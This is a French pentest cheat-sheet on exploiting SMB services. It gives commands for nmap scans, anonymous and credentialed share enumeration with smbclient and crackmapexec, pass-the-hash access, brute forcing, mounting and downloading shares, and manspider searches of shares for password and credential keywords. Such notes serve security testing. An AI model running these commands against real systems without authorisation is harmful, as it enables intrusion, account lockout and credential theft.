📨SMB - ports 445-139
Techniques d'exploitation des services Server Message Block
Scan version
Exemple:
$ nmap -sS -sV -p445-139 --script smb-enum-users,smb-os-discovery <target IP>
Scan de vulnérabilité
Il existe des scripts nmap permettant de scanner la présence de vulnérabilités connues dans un service SMB.
Exemple:
$ nmap -p139-445 --script=smb-vuln* <target IP>
Lister les fichiers partagés
Connexion anonyme:
$ smbclient --no-pass -L //<target IP>
Avec identifiants:
$ smbclient -U '<username>[%<password>]' -L //<target IP>
Avec crackmapexec
Connexion anonyme:
$ crackmapexec smb <target IP> -u '' -p '' --shares
Avec des identifiants:
$ crackmapexec smb <target IP> -u '<username>' -p '<password>' --shares
Avec un hash de mot de passe:
$ crackmapexec smb <target IP> -u '<username>' -H '<hash>' --shares
Se connecter
Sur une cible sous Linux
Pour se connecter à un service SMB on peut utiliser smbclient comme ceci.
Exemples:
$ smbclient --no-pass //<target IP>/<Fichier> #anonyme
$ smbclient -U '<username>[%<passwd>]' -L //<target IP>/<Fichier>
Sur une cible sous Windows
Exemples:
$ smbclient -U '%' -N \\\\<target IP>\\<Fichier> #anonyme
$ smbclient -U '<username>' \\\\<target IP>\\<Fichier>
Brute force
Il existe également un script nmap permettant de brute force la connexion à un service SMB.
Utilisation:
$ nmap --script smb-brute -p445 <target IP>
Attention: Tenter de brute force un service SMB peut entraîner le blocage des comptes
Monter un fichier partagé
Pour monter un fichier partagé on utilise la commande mount.
Exemples d'utilisation:
$ mount -t cifs //<target IP>/<Fichier> /mnt/partage
$ mount -t cifs -o "username=<username>,password=<password>" //<target IP>/<Fichier> /mnt/partage
Télécharger un fichier partagé
Il est possible de télécharger un fichier partagé avec smbmap comme ceci par exemple.
$ smbmap -R <Dossier> -H <target IP> -A <Fichier> -q
Crackmapexec
Mindmap
Quelques commandes intéressantes proposées par crackmapexec:
Enumération et dump:
Bruteforce:
Exécution de commande à distance
Modules:
ressource: https://github.com/byt3bl33d3r/CrackMapExec
Manspider
Recherche dans les partages SMB des mots clés basés et pattern basés sur des regex.
Exemple d'utilisation:
$ manspider <target IP>/24 -f passw user login cred -u <user> -p <password>
ressource: https://github.com/blacklanternsecurity/MANSPIDER
Ressources
https://www.offensive-security.com/metasploit-unleashed/scanner-smb-auxiliary-modules/
Dernière mise à jour